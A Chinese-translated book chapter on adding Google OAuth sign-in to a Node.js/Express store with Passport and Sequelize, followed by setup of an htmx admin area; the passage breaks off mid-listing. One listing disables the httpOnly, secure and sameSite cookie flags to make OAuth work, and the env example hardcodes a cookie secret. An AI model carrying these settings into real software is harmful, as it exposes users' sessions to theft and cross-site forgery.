COOKIE_SECRET="sportsstoresecret"
# Google OAuth Credentials
GOOGLE_CLIENT_ID=enter client ID here
GOOGLE_CLIENT_SECRET=enter client secret here 

使用 OAuth 获取配置文件详细信息

起始点是扩展数据模型,使其能够将数据库中的客户与他们的 Google 账户关联起来。当 OAuth 服务向 SportsStore 应用程序提供用户数据时,会包含一个唯一 ID,该 ID 将与客户的姓名和电子邮件一起存储在数据库中,并在 SportsStore 数据库中可用时用于查询客户的地址。清单 19.3Customer接口添加了一个新属性。

列表 19.3:在 src/data 文件夹中的 customer_models.ts 文件中添加属性

export interface Customer {
    id?: number;
    name: string;
    email: string;
  **  federatedId?: string;**
} 

新属性需要一个验证规则,如清单 19.4所示。

列表 19.4:在 src/data/validation 文件夹中的 order_rules.ts 文件中添加新属性

import { Validator } from "./validator";
import { required, minLength, email, no_op } from "./basic_rules";
import { Address } from "../order_models";
import { Customer } from "../customer_models";
export const CustomerValidator = new Validator<Customer>({
    name: [required, minLength(6)],
    email: email,
   ** federatedId: no_op**
});
export const AddressValidator = new Validator<Address>({
    street: required,
    city: required,
    state: required,
    zip: no_op
}); 

使用no_op规则,因为 OAuth 过程提供的数据不需要验证。

需要一组新的存储库方法来存储新数据并将其用作查询的基础。将名为customer_repository.ts的文件添加到src/data文件夹中,内容如清单 19.5所示。

列表 19.5:src/data 文件夹中 customer_repository.ts 文件的内容

import { Customer } from "./customer_models";
import { Address } from "./order_models";
export interface CustomerRepository {
    getCustomer(id: number) : Promise<Customer | null>;
    getCustomerByFederatedId(id: string): Promise<Customer | null>;
    getCustomerAddress(id: number): Promise<Address | null>;
    storeCustomer(customer: Customer): Promise<Customer>;
} 

getCustomer 方法使用数据库服务器创建的唯一 ID 搜索数据库。getCustomerByFederatedId 方法执行相同操作,但使用 Google 在 OAuth 配置文件中提供的唯一 ID。getCustomerAddress 方法将返回与用户关联的最新地址。在放置订单之前不会有地址,但存储的数据将可用于客户创建的第二个和后续订单。最后一个方法,名为 storeCustomer,将用户存储在数据库中。

实现新的存储库功能

下一步是更新存储库的 Sequelize 实现。列表 19.6 向 ORM 模型类添加了一个属性。

列表 19.6:在 src/data/orm/models 文件夹中的 customer_models.ts 文件中添加属性

import { Model, CreationOptional, InferAttributes, InferCreationAttributes }
    from "sequelize";
import { Customer } from "../../customer_models";
export class CustomerModel extends Model<InferAttributes<CustomerModel>,
        InferCreationAttributes<CustomerModel>> implements Customer {
    declare id?: CreationOptional<number>;
    declare name: string;
    declare email: string;
 **   declare federatedId?: string;**
} 

列表 19.7 描述了新属性如何在数据库中存储。

列表 19.7:在 src/data/orm/models 文件夹中的 customer_helpers.ts 文件中描述属性

import { DataTypes, Sequelize } from "sequelize";
import { CustomerModel } from "./customer_models";
export const initializeCustomerModels = (sequelize: Sequelize) => {
    CustomerModel.init({
        id: { type: DataTypes.INTEGER, autoIncrement: true, primaryKey: true},
        name: { type: DataTypes.STRING},       
        email: { type: DataTypes.STRING },
      **  federatedId: { type: DataTypes.STRING }**
    }, { sequelize})
} 

需要模型类之间建立新的关系来支持新存储库方法将要执行的查询,如 列表 19.8 所示。

列表 19.8:在 src/data/orm/models 文件夹中的 order_helpers.ts 文件中添加一个新的关系

import { DataTypes, Sequelize } from "sequelize";
import { OrderModel, ProductSelectionModel, AddressModel }
    from "./order_models";
import { CustomerModel } from "./customer_models";
import { ProductModel } from ".";
const primaryKey = {
    id: { type: DataTypes.INTEGER, autoIncrement: true, primaryKey: true }
};

export const initializeOrderModels = (sequelize: Sequelize) => {

    // ...statements omitted for brevity...
    ProductSelectionModel.belongsTo(ProductModel, { as: "product"});
    **AddressModel****.hasMany(OrderModel, { foreignKey: "addressId"});**
} 

为了实现 CustomerRepository 接口所需的方法,将一个名为 customers.ts 的文件添加到 src/data/orm 文件夹中,其内容如 列表 19.9 所示。

列表 19.9:src/data/orm 文件夹中的 customers.ts 文件的内容

import { Customer } from "../customer_models";
import { CustomerRepository } from "../customer_repository";
import { Address } from "../order_models";
import { BaseRepo, Constructor } from "./core"
import { CustomerModel } from "./models/customer_models";
import { AddressModel, OrderModel } from "./models/order_models";
export function AddCustomers<TBase extends
        Constructor<BaseRepo>>(Base: TBase)  {
    return class extends Base implements CustomerRepository {
        getCustomer(id: number): Promise<Customer | null> {
            return CustomerModel.findByPk(id, {
                raw: true
            });
        }
        getCustomerByFederatedId(id: string): Promise<Customer | null> {
            return CustomerModel.findOne({
                where: { federatedId: id },
                raw: true
            })
        }
        getCustomerAddress(id: number): Promise<Address | null> {
            return AddressModel.findOne({
                include: [{
                    model: OrderModel,
                    where: { customerId: id },
                    attributes: []
                }],
                order: [["updatedAt", "DESC"]]
            });
        }
        async storeCustomer(customer: Customer): Promise<Customer> {
            const [data, created] = await CustomerModel.findOrCreate({
                where: { email: customer.email },
                defaults: customer,
            });
            if (!created) {
                data.name = customer.name;
                data.email = customer.email;
                data.federatedId = customer.federatedId;
                await data.save();
            }
            return data;
        }
    }
} 

getCustomergetCustomerByFederatedId 方法执行常规查询,但 getCustomerAddress 方法必须通过另一个模型类进行查询,以便通过找到客户的早期订单来获取客户的最新地址,然后获取与它们关联的地址数据。attributes 属性在 include 表达式中使用,以从响应中排除订单数据。storeCustomer 方法使用 findOrCreate 方法通过电子邮件地址查找客户(如果存在);否则,它将创建一个新的客户记录。列表 19.10 将新方法包含在存储库混合中。

列表 19.10:在 src/data/orm 文件夹中的 index.ts 文件中扩展混合

import { BaseRepo } from "./core";
import { AddQueries } from "./queries";
import { AddStorage } from "./storage";
import { AddOrderQueries } from "./order_queries";
import { AddOrderStorage } from "./order_storage";
**import { AddCustomers } from "./customers";**
const CatalogRepo = AddStorage(AddQueries(BaseRepo));
const RepoWithOrders = AddOrderStorage(AddOrderQueries(CatalogRepo));
**const RepoWithCustomers = AddCustomers(RepoWithOrders);**
**export** **const CatalogRepoImpl = RepoWithCustomers;** 

为了完成存储库升级,列表 19.11 添加了一个新属性,该属性将新接口暴露给应用程序的其他部分。

列表 19.11:在 src/data 文件夹中的 index.ts 文件中添加一个常量

import { CatalogRepository } from "./catalog_repository";
import { CatalogRepoImpl} from "./orm";
import { OrderRepository } from "./order_repository";
**import { CustomerRepository } from "./customer_repository"****;**
const repo = new CatalogRepoImpl();
export const catalog_repository: CatalogRepository = repo;
export const order_repository: OrderRepository = repo;
**export const customer_repository: CustomerRepository = repo;** 

设置 OAuth 认证

为了处理 OAuth 请求和响应的细节,我将使用在第 第十八章 中介绍的 Passport 认证包,它为主要的认证服务提供了认证策略,包括 Google。在 sportsstore 文件夹中运行 列表 19.12 中显示的命令,以将 Passport 包、策略包和类型描述添加到项目中。

列表 19.12:安装认证包

npm install passport@0.7.0
npm install passport-google-oauth20@2.0.0
npm install --save-dev @types/passport@1.0.16
npm install --save-dev @types/passport-google-oauth20@2.0.14 

为了快速参考,这些包在表 19.1中有描述。

表 19.1:认证包

名称 描述

|

`passport` 
此包包含 Passport 的核心功能。

|

`passport-google-oauth20` 
此包包含与 Google OAuth 服务进行认证的 Passport 策略。

|

`@types/passport` 
此包包含类型信息。

|

`@types/passport-google-oauth20` 
此包包含类型信息。

src文件夹中添加一个名为authentication.ts的文件,其内容如列表 19.13所示。

列表 19.13:src 文件夹中 authentication.ts 文件的内容

import { Express } from "express";
import { getConfig, getSecret } from "./config";
import passport from "passport";
import { Strategy as GoogleStrategy, Profile, VerifyCallback }
    from "passport-google-oauth20";
import { customer_repository } from "./data";
import { Customer } from "./data/customer_models";
const callbackURL: string = getConfig("auth:openauth:redirectionUrl");
const clientID = getSecret("GOOGLE_CLIENT_ID");
const clientSecret = getSecret("GOOGLE_CLIENT_SECRET");
declare global {
    namespace Express {
        interface User extends Customer {  }
    }
}
export const createAuthentication = (app:Express) => {
    passport.use(new GoogleStrategy({
        clientID, clientSecret, callbackURL,
        scope: ["email", "profile"],
        state: true
    } , async (accessToken: string, refreshToken: string,
            profile: Profile, callback: VerifyCallback) => {
        const emailAddr = profile.emails?.[0].value ?? "";           
        const customer = await customer_repository.storeCustomer({
            name: profile.displayName, email: emailAddr,
            federatedId: profile.id
        });
        const { id, name, email } = customer;
        return callback(null, { id, name, email });
    }));
    passport.serializeUser((user, callback) => {
        callback(null, user.id);
    });
    passport.deserializeUser((id: number, callbackFunc) => {
        customer_repository.getCustomer(id).then(user =>
            callbackFunc(null, user));
    });
    app.use(passport.session());
} 

declare关键字用于告诉 TypeScript 编译器,通过Passport包添加到已认证请求中的User对象将扩展Customer类型。createAuthentiction函数设置 Passport 包使用 Google OAuth 服务进行认证。

配置模块用于获取重定向 URL,该 URL 将被包含在发送给 Google 的认证请求中,并在认证完成后,浏览器将被重定向到该 URL。URL 必须与设置 OAuth 凭据时使用的 URL 匹配,对于真实项目,应该是一个面向公众的 URL。

客户端 ID 和客户端密钥被读取并用于配置 Google 认证策略,以及 URL:

...
passport.use(new GoogleStrategy({
    clientID, clientSecret, callbackURL,
    scope: ["email", "profile"]
... 

作用域设置指定了将请求哪些 OAuth 作用域,而电子邮件配置文件值对应于设置 OAuth 服务时使用的那些作用域。这两个作用域提供了用户电子邮件地址和它们的显示名称的详细信息,这对于SportsStore应用程序来说就足够了。

可用的作用域还有很多,但通常需要应用程序通过审核流程后才能获得访问权限,而电子邮件和配置文件作用域则可以被任何已注册的应用程序使用。

策略构造函数的最后一个参数是一个回调函数,当 Google 验证了用户并执行了重定向时会被调用:

...
} , async (accessToken: string, refreshToken: string,
        profile: Profile, callback: VerifyCallback) => {
... 

回调函数接收一个访问令牌,可以用来进行 API 查询,以及一个刷新令牌,可以用来获取新的访问令牌。这两个令牌在 OAuth 文档中有描述(见www.oauth.com/oauth2-servers/access-tokens),但在这个例子中不是必需的。相反,此示例依赖于第三个参数提供的数据,即用户的配置文件。配置文件在不同提供者之间可能不同,但 Passport 会像这样标准化 Google OAuth 服务返回的数据(已将真实数据值替换为X字符):

{
  id: '101XXXXXXXXXXXXXXXXXX',
  displayName: Alice Smith',
  name: { familyName: 'Smith', givenName: 'Alice' },
  emails: [ { value: alice@example.com', verified: true } ],
  photos: [{value: 'https://lh3.googleusercontent.com/a/XXXX'}],
  provider: 'google',
  _raw: '{\n' +
    '  "sub": "101XXXXXXXXXXXXXXXXXX",\n' +
    '  "name": "Alice Smith",\n' +
    '  "given_name": "Adam",\n' +
    '  "family_name": "Smith",\n' +
    '  "picture": "https://lh3.googleusercontent.com/a/XXXX",\n' +
    '  "email": "alice@example.com",\n' +
    '  "email_verified": true,\n' +
    '  "locale": "en"\n' +
    '}',
  _json: {
    sub: '101XXXXXXXXXXXXXXXXXX',
    name: Alice Smith',
    given_name: 'Alice',
    family_name: 'Smith',
    picture: 'https://lh3.googleusercontent.com/a/XXXX',
    email: 'alice@example.com',
    email_verified: true,
    locale: 'en'
  }
} 

www.passportjs.org/reference/normalized-profile可以找到对标准化配置文件的详细解释,但SportsStore应用程序只需要id值,这是唯一标识用户的值,given_name值,以及emails值,从中可以获取用户的电子邮件地址。

最后一个参数是一个回调,当用户数据准备就绪时被调用。列表 19.13 中的代码使用配置文件中的 profile 数据来存储客户的详细信息,并调用回调以向 Passport 提供用户对象。如果存在,存储库的 storeCustomer 方法的实现将与 federatedId 值匹配,这意味着配置文件中的 profile 数据将用于更新之前订单中为同一用户创建的任何现有数据。

调用 passport.serializeUserpassport.deserializeUser 是必需的,以便 Passport 将用户数据序列化到会话中。在这种情况下,数据库分配的唯一 ID 用于表示序列化的用户,该用户通过查询数据库进行反序列化。这是 列表 19.13 中的最终语句:

...
app.use(passport.session());
... 

passport.session 函数返回一个中间件函数,该函数将使用存储在会话中的其他认证机制的数据来验证请求,并且当使用 Google OAuth 服务进行认证后,它会对请求进行反序列化以使用户数据可用。

列表 19.14 调用 createAuthentication 函数以在服务器启动时启用认证。

列表 19.14:在 src 文件夹中的 server.ts 文件中启用认证

import { createServer } from "http";
import express, { Express } from "express";
import helmet from "helmet";
import { getConfig } from "./config";
import { createRoutes } from "./routes";
import { createTemplates } from "./helpers";
import { createErrorHandlers } from "./errors";
import { createSessions } from "./sessions";
**import { createAuthentication } from "./authentication";**
const port = getConfig("http:port", 5000);
const expressApp: Express = express();
expressApp.use(helmet());
expressApp.use(express.json());
expressApp.use(express.urlencoded({extended: true}))
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use(express.static("node_modules/bootstrap-icons"));
createTemplates(expressApp);
createSessions(expressApp);
**createAuthentication(expressApp);**
createRoutes(expressApp);
createErrorHandlers(expressApp);
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

为了完成认证设置,列表 19.15 在配置文件中添加了一个新的部分,该部分指定了用于 OAuth 请求的回调。

列表 19.15:在 SportsStore 文件夹中的 server.config.json 文件中添加设置

{
    "http": {
        "port": 5000
    },
    // ...configuration sections omitted for brevity...
    "sessions": {
        "maxAgeHrs": 2,
        "reset_db": true,
        "orm": {
            "settings": {
                "dialect": "sqlite",
                "storage": "sessions.db"
            },
            "logging": true
        }
    },
   ** "auth": {**
 **"openauth": {**
 **"redirectionUrl": "http://localhost:5000/signin-google"**
 **}**
 **}**
} 

如前所述,localhost URL 依赖于浏览器和服务器在同一台机器上。对于真实项目,应使用真实域名,尽管在开发期间 localhost 可能很有用。

OAuth 是一个出色的认证系统,但它可能很挑剔,通常需要付出努力才能使一切正常工作。问题的一个常见原因是会话 cookie 的配置,它必须设置以匹配 OAuth 策略的期望,其要求可能与其他应用程序不同。

在为 SportsStore 设置 OAuth 时,我发现我必须进行两个更改才能正确启用认证,如 列表 19.16 所示。

列表 19.16:在 src 文件夹中的 sessions.ts 文件中更改 cookie 配置

...
app.use(session({
    secret, store,
  **  resave: false, saveUninitialized: true,**
    cookie: {
        maxAge: config.maxAgeHrs * 60 * 60 * 1000,
        **sameSite: false, httpOnly: false, secure****: false }**
}));
... 

对于其他策略或认证提供者,您可能需要不同的配置设置,并且通常需要进行一些实验,因为会话设置通常没有指定。

应用认证

下一步是向用户展示一个按钮,允许他们使用 Google 登录,如 列表 19.17 所示。

列表 19.17:在 templates 文件夹中的 order_details.handlebars 文件中添加 Google 按钮

<form method="post" action="/checkout">
    **<div class="container">**
 **<div class="row flex-row align-items-center">**
 **<div** **class="col-7">{{> order_details_customer }}</div>**
 **<div class="col">**
 **<div** **class="d-flex justify-content-center">**
 **<a class="btn btn-primary" href="/checkout/google">**
 **<i** **class="bi bi-google"></i>**
 **Use Google Account**
 **</a>**
 **</div>**
 **</div>**
**</div>**
 **<div class="row">**
 **{{> order_details_address }}**
 **</div>**
 **<div class****="row">**
 **<div class="m-2">**
 **<button type="submit" class****="btn btn-primary">**
 **Place Order**
 **</button>**
 **<a href="/cart?returnUrl={{ escapeUrl (navigationUrl )}}"**
 **class="btn btn-primary">Back****</a>**
 **</div>**
 **</div>**
 **</div>**
</form> 

新的元素结构配置了 Bootstrap CSS 类以创建一个网格,其中姓名和电子邮件地址的元素与一个包含 Bootstrap Icons 包中的 Google 图标的新按钮共享一行,该按钮提示用户使用他们的 Google 账户。清单 19.18定义了支持 OAuth 并使用客户 Google 详情的路由。

清单 19.18:在 src/routes 文件夹中的 orders.ts 文件中支持 OAuth

import { Express } from "express";
import { Address } from "../data/order_models";
import { AddressValidator, CustomerValidator, ValidationResults, getData, isValid }
    from "../data/validation";
import { Customer } from "../data/customer_models";
import { createAndStoreOrder } from "./order_helpers";
**import { customer_repository } from "../data";**
**import passport from "passport";**
declare module "express-session" {
    interface SessionData {
       orderData?: {
            customer?: ValidationResults<Customer>,
            address?: ValidationResults<Address>
       },
       pageSize?: string;
    }
}
export const createOrderRoutes = (app: Express) => {
    **app.****get("/checkout/google", passport.authenticate("google"));**
 **app.get("/signin-google", passport.authenticate("google",**
 **{ successRedirect: "****/checkout", keepSessionInfo: true }));**
    app.get("/checkout", async (req, resp) => {
       ** if (!req.session.orderData && req.****user) {**
 **req.session.orderData = {**
 **customer: await CustomerValidator.validate(req.user),**
 **address: await** **AddressValidator.validate(**
 **await customer_repository.getCustomerAddress(**
 **req.user?.id ?? 0) ?? {})** 
 **}**
 }
        req.session.pageSize =
            req.session.pageSize ?? req.query.pageSize?.toString() ?? "3";
        resp.render("order_details", {
            order: req.session.orderData,
            page: 1,
            pageSize: req.session.pageSize
        });
    });
    // ...other routes omitted for brevity...
} 

/checkout/google路由被清单 19.17中创建的按钮所针对,其任务是要求使用google策略进行认证以启动 OAuth 过程:

...
app.get("/checkout/google", **passport.authenticate("google")**);
... 

每个 Passport 策略模块都有一个默认名称,google清单 19.13中添加到项目的策略名称。此路由的效果是将用户的浏览器重定向到 Google OAuth 服务。

/signin-google路由处理认证过程完成后从 Google 返回的重定向,并且还需要使用google策略进行认证:

...
app.get("/signin-google", **passport.authenticate("google",**
 **{ successRedirect: "/checkout", keepSessionInfo: true })**);
... 

这次,认证策略将处理 Google 发送的数据以认证用户,如果认证成功,则将用户重定向到/checkout URL。如果认证失败,则使用自定义错误处理器显示错误消息。keepSessionInfo设置确保一旦用户认证成功,现有的会话数据就会被保留。

/checkout URL 处理器的更改填充了认证请求的订单数据。添加到Request对象中的用户数据用于客户的姓名和电子邮件地址,并执行与用户关联的最新地址的查询。第一次用户创建订单时不会有地址,因为这不是个人资料数据的一部分,但后续订单将可用地址。

使用 OAuth 个人资料数据

在您的浏览器中打开一个新的访客标签或私密标签。浏览器为这些功能使用不同的名称,但目标是在不受浏览器可能存储的任何 cookie 干扰的情况下检查认证过程,包括来自 Google 的 cookie。

导航到http://localhost:5000,将产品添加到购物车,并点击结账按钮。点击如图图 19.6所示的使用 Google 账户按钮。

图 19.6:启动 OAuth 过程

您的浏览器将被重定向到 Google,您将需要认证并登录到SportsStore,如图图 19.7所示。

图 19.7:使用 Google 进行认证

认证过程可能根据 Google 账户设置的不同而有所不同。图 19.5中显示的账户配置为需要使用智能手机进行额外确认,这只是 Google 支持的一种确认认证的方法。

一旦谷歌验证了账户,浏览器将重定向回SportsStore应用程序,并且账户配置文件数据将被用来填充结账表单中的姓名和电子邮件地址字段。完成表单并下订单,如图19.8所示。

解决常见问题原因

如果您没有得到预期的结果,有一些常见问题需要检查。首先,请确保您已经将客户端 ID客户端密钥设置得与谷歌开发者控制台上显示的完全一致。如果这些设置不正确,那么谷歌可能不允许用户进行身份验证,或者应用程序将无法验证谷歌在重定向中提供的数据。有一个选项可以下载包含这两个值的 JSON 文档,这是一种确保您拥有正确数据的实用方法。

第二,确保在应用程序和谷歌开发者控制台中配置了相同的重定向 URL。如果这些设置不正确,那么谷歌不会将浏览器重定向到正确的位置。

第三,检查会话 cookie 设置。如果使用谷歌进行身份验证工作正常,但配置文件数据没有被用来填充表单,那么可能的原因是每次身份验证序列中的请求都会创建新的会话,或者验证谷歌发送的数据所需的状态数据没有被存储。

最后,在身份验证过程中注意 Node.js 控制台。如果应用程序配置为重置数据库,应用程序的重启将删除会话数据库并阻止身份验证完成。SportsStore项目的开发工具被设置为在检测到任何文件更改时重启应用程序,这可能会被您的开发机器上运行的不同进程触发。(例如,我使用一个每小时创建我的代码文件夹快照的应用程序,这会导致重启。)如果您怀疑这种情况,那么请将server.config.json文件中的两个reset_db设置更改为 false,这样重启就不会删除数据库的内容。

图片

图 19.8:放置初始订单

放置第二个订单

创建订单时存储的地址数据将在同一用户下次创建订单时可用。请求http://localhost:5000并再次进行结账流程。当您点击使用谷歌账户按钮时,整个表单应该被填充,如图19.9所示。

图片

图 19.9:使用先前订单的地址数据

通常您不需要再次登录谷歌账户,因为谷歌会存储一个身份验证 cookie。浏览器仍然会被重定向到谷歌 OAuth 服务,但用户看不到这个请求或随后的重定向回SportsStore

摘要

在本章中,我为用户添加了使用他们的谷歌账户来识别自己的SportsStore应用程序的支持:

  • OAuth 协议允许用户在不向应用程序提供凭证的情况下进行身份验证。

  • 大多数主要平台都提供 OAuth 服务,包括 Google,在应用程序可以发送 OAuth 请求之前,需要先完成注册流程。

  • OAuth 服务提供的数据存在差异,但这些差异通过Passport认证包进行了标准化。

  • 一旦用户将他们的 Google 凭证与SportsStore订单关联,他们在未来结账时地址将自动加载。

在下一章中,我将添加管理工具来管理SportsStore产品目录并更改订单的发货状态。

第二十章:SportsStore:管理

在本章中,我将创建 SportsStore 管理功能,这将允许授权用户编辑产品目录并更改客户订单的配送状态。

为本章做准备

本章使用 第十九章 中的 sportsstore 项目。打开一个新的命令提示符,导航到 sportsstore 文件夹,并运行 列表 20.1 中显示的命令以启动开发工具。

提示

你可以从 github.com/PacktPublishing/Mastering-Node.js-Web-Development 下载本章的示例项目——以及本书中所有其他章节的示例项目。有关运行示例时遇到问题的帮助,请参阅 第一章

列表 20.1:启动开发工具

npm start 

打开一个新的浏览器窗口,导航到 http://localhost:5000,你将看到产品目录,如图 图 20.1 所示。

图 20.1:运行应用程序

理解 HTML RESTful Web 服务

第十四章 中创建的 Web 服务遵循最常见的方法,即返回客户端可以处理并展示给用户的 JSON 数据。这是最灵活的方法,因为它不限制数据的使用方式,允许创建使用数据的客户端,这些数据的使用方式是 Web 服务的开发者没有预想的,并且不需要他们的参与。

对于许多项目,Web 服务的开发者也负责客户端,这导致了一个奇怪的情况,即所有由往返客户端开发的州管理功能都被重新创建,使用 Angular 或 React 等框架创建一个更响应式的功能集。

在这种情况下,一个替代方案是创建一个返回 HTML 内容片段而不是 JSON 的 Web 服务,并创建一个客户端,该客户端通过向 Web 服务发送 HTTP 请求来响应用户交互,显示获得的结果。Web 服务仍然依赖于 HTTP 方法来识别将要执行的操作类型,以及 URL 路径来识别受影响的资源,但结果是预先格式化的内容,可以展示给用户,这是使用与为传统 HTML 应用程序创建的相同模板、会话和数据功能产生的。

这并不适合每个项目,尤其是当你需要向第三方提供应用程序数据访问时,但如果你发现自己正在使用 React 或 Angular 等框架来重复服务器上已经创建的功能,那么这可以是一个避免使用大型客户端框架复杂性的好方法。

为客户端开发做准备

我将要使用的用于发送 HTTP 请求和处理 HTML 响应的包名为 htmx (htmx.org),当服务器可以提供创建客户端所需的所有语句管理和内容生成时,这是一个不错的选择,例如 SportsStore 应用程序。要在 sportsstore 文件夹中安装 HTMX 包,请运行 清单 20.2 中显示的命令。

提示

另一个值得考虑的好包是 Alpine (alpinejs.dev),它更为复杂,但使得在浏览器中管理状态数据变得更加容易,并且可以更方便地与返回 JSON 数据的 Web 服务一起使用。

列表 20.2:安装 htmx 包

npm install htmx.org@1.9.10 

表 20.1 描述了用于快速参考的包。

表 20.1:客户端包

名称 描述

|

[htmx.org](http://htmx.org) 
HTMX 包扫描 HTML 元素以查找配置异步 HTTP 请求的特殊属性,这些请求将被发送到返回 HTML 片段的 Web 服务。

HTMX 包通过将属性应用于 HTML 元素,并使用 script 元素加载的 JavaScript 代码来处理这些属性来实现其功能。这种方法意味着不需要客户端开发工具链,开发者只需简单地重新加载浏览器即可在开发过程中看到更改的效果。我发现这种开发方式令人沮丧,因为我经常忘记重新加载浏览器,这导致当浏览器显示的内容与我在代码编辑器中刚刚保存的标记不一致时,我会暂时感到困惑。为此,我将设置 webpack 打包器,以便我可以利用开发服务器的 reload 功能。

一些包仅处理浏览器重新加载,但使用 webpack 是一种保险措施,因为它创建的包意味着我可以轻松地向客户端添加 JavaScript 代码,而无需修改项目工具。在 HTMX 项目中不需要使用 webpack 打包器,但我认为这是一个值得考虑的逃生口,它让我能够解决那些否则难以处理的问题。

sportsstore 文件夹中运行 清单 20.3 中显示的命令,以安装创建客户端包所需的包。

列表 20.3:安装打包器所需的包

npm install --save-dev webpack@5.89.0
npm install --save-dev webpack-cli@5.1.4
npm install --save-dev webpack-dev-server@4.15.1
npm install --save-dev npm-run-all@4.1.5
npm install http-proxy@1.18.1 

表 20.2 描述了这些包,以便快速参考。

表 20.2:客户端开发工具包

名称 描述

|

`webpack` 
此包包含 webpack 打包器。

|

`webpack-cli` 
此包包含 webpack 的命令行。

|

`webpack-dev-server` 
此包包含 webpack 开发 HTTP 服务器。

|

`npm-run-all` 
此包允许您使用 npm 启动多个命令。

|

`http-proxy` 
此包包含一个 HTTP 代理,在开发期间将请求转发到 webpack 服务器。

sportsstore文件夹中添加一个名为webpack.config.mjs的文件,其内容如清单 20.4所示,该文件配置 webpack 并设置其开发服务器。

清单 20.4:sportsstore 文件夹中 webpack.config.mjs 文件的内容

import path from "path";
import { fileURLToPath } from "url";
const __dirname = path.dirname(fileURLToPath(import.meta.url));
export default  {
    mode: "development",
    entry:   "./src/admin/client.js",
    devtool: "source-map",   
    output: {
        path: path.resolve(__dirname, "dist/admin"),
        filename: "bundle.js"
    },
    devServer: {
        watchFiles: ["templates/admin"],
        port: 5100,	
        client: { webSocketURL: "http://localhost:5000/ws" }
    }
}; 

配置告诉 webpack 使用src/admin文件夹中的名为client.js的文件创建捆绑包,并在捆绑包更改或templates/admin文件夹中的文件更改时触发浏览器更新。捆绑包将创建在名为bundle.js的文件中,并将写入dist/admin文件夹。创建src/admin文件夹,并向其中添加一个名为client.js的文件,其内容如清单 20.5所示。

清单 20.5:src/admin 文件夹中 client.js 文件的内容

document.addEventListener('DOMContentLoaded', () => {
    // do nothing
}); 

此文件中的代码不起作用,因为捆绑只是使用 webpack 开发 HTTP 服务器的一种手段。捆绑将被省略在应用程序的生产构建中。

创建路由和模板

下一步是配置将作为管理功能入口点的路由,并定义用于生成响应的模板。创建src/routes/admin文件夹,并向其中添加一个名为index.ts的文件,其内容如清单 20.6所示。

清单 20.6:src/routes/admin 文件夹中 index.ts 文件的内容

import { Express } from "express";
export const createAdminRoutes = (app: Express) => {
    app.use((req, resp, next) => {
        resp.locals.layout = false;
        next();
    })
    app.get("/admin", (req, resp) => resp.render("admin/admin_layout"));
} 

createAdminRoutes函数设置管理路由。要开始,有一个中间件组件禁用了模板引擎的默认布局,还有一个处理/admin URL 的GET请求的路由,通过渲染一个名为admin/admin_layout的模板。模板的名称包含admin文件夹,这样我可以将管理模板与应用程序的其他内容分开。这种方法的缺点是必须在所有调用render方法的调用中包含文件夹名称。

清单 20.7createAdminRoutes添加到设置应用程序路由的函数集合中。

清单 20.7:向 src/routes 文件夹中的 index.ts 文件添加路由

import { Express } from "express";
import { createCatalogRoutes } from "./catalog";
import { createCartMiddleware, createCartRoutes } from "./cart";
import { createOrderRoutes } from "./orders";
import { createAdminRoutes } from "./admin";
export const createRoutes = (app: Express) => {
    createCartMiddleware(app);
    createCatalogRoutes(app);
    createCartRoutes(app);
    createOrderRoutes(app);
    createAdminRoutes(app);
} 

创建初始模板时,请创建sportsstore/templates/admin文件夹,并向其中添加一个名为admin_layout.handlebars的文件,其内容如清单 20.8所示。

清单 20.8:templates/admin 文件夹中 admin_layout.handlebars 文件的内容

<!DOCTYPE html>
<html>
    <head>
        <link href="/css/bootstrap.min.css" rel="stylesheet" />
        <link href="/font/bootstrap-icons.min.css" rel="stylesheet">
        {{#if (isDevelopment) }}
            <script src="img/bundle.js"></script>
        {{/if }}
        <script src="img/htmx.min.js"></script>
    </head>
    <body>
        <div class="container-fluid">
            <div class="row bg-info text-white py-2 px-1">
                <div class="col align-baseline pt-1">SPORTS STORE ADMIN</div>
                <div class="col-auto text-end"></div>
            </div>
            <div class="row p-2">
                <div class="col-2" id="area_buttons"></div>
                <div class="col" id="content">
                    Content Goes Here...
                </div>
            </div>
        </div>
    </body>
</html> 

此模板渲染一个 HTML 文档,包含 Bootstrap CSS 和图标文件的link元素,以及 webpack 捆绑包和HTMXJavaScript 文件的script元素。

配置应用程序

为了完成准备工作,清单 20.9设置请求转发到 webpack 开发服务器,并将HTMX包文件夹添加到静态文件位置集合中。

清单 20.9:在 src 文件夹中的 server.ts 文件中配置应用程序

import { createServer } from "http";
import express, { Express } from "express";
import helmet from "helmet";
import { getConfig, getEnvironment, Env } from "./config";
import { createRoutes } from "./routes";
import { createTemplates } from "./helpers";
import { createErrorHandlers } from "./errors";
import { createSessions } from "./sessions";
import { createAuthentication } from "./authentication";
**import httpProxy from "http-proxy";**
const port = getConfig("http:port", 5000);
const expressApp: Express = express();
expressApp.use(helmet());
expressApp.use(express.json());
expressApp.use(express.urlencoded({extended: true}))
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use(express.static("node_modules/bootstrap-icons"));
expressApp.use(express.static("node_modules/htmx.org/dist"));
createTemplates(expressApp);
createSessions(expressApp);
createAuthentication(expressApp);
createRoutes(expressApp);
**//createErrorHandlers(expressApp);**
const server = createServer(expressApp);
**if (getEnvironment****() === Env.Development) {**
 **const proxy = httpProxy.createProxyServer({**
 **target: "http://localhost:5100", ws: true**
 **});** 
 **expressApp.use("/admin"****, (req, resp) => proxy.web(req, resp));** 
 **server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));**
**}**
**createErrorHandlers(expressApp);**
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

如果应用程序配置为开发环境,则使用 http-proxy 包将请求转发到 webpack 开发 HTTP 服务器,这将启用自动浏览器重新加载。

错误处理器必须移动,以便在 webpack 开发服务器处理器的机会匹配请求之后才生成 404 - Not Found 响应。

最后的准备步骤是配置 npm 命令以启动服务器和 webpack,并防止在 admin 文件夹中的模板更改时服务器被重新启动,如 清单 20.10 所示。

清单 20.10:在 sportsstore 文件夹中的 package.json 文件中配置应用程序

{
  "name": "sportsstore",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "watch": "tsc-watch --noClear --onsuccess \"node dist/server.js\"",
    **"server": "nodemon --exec npm run watch",**
 **"client": "webpack serve",**
 **"start": "npm-run-all --parallel server client"**
  },
  "nodemonConfig": {
    "ext": "js,handlebars,json",
    "ignore": [
      "dist/**",
      "node_modules/**",
     **"templates/admin/**"** 
    ]
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "devDependencies": {
    // ...packages omitted for brevity...
  },
  "dependencies": {
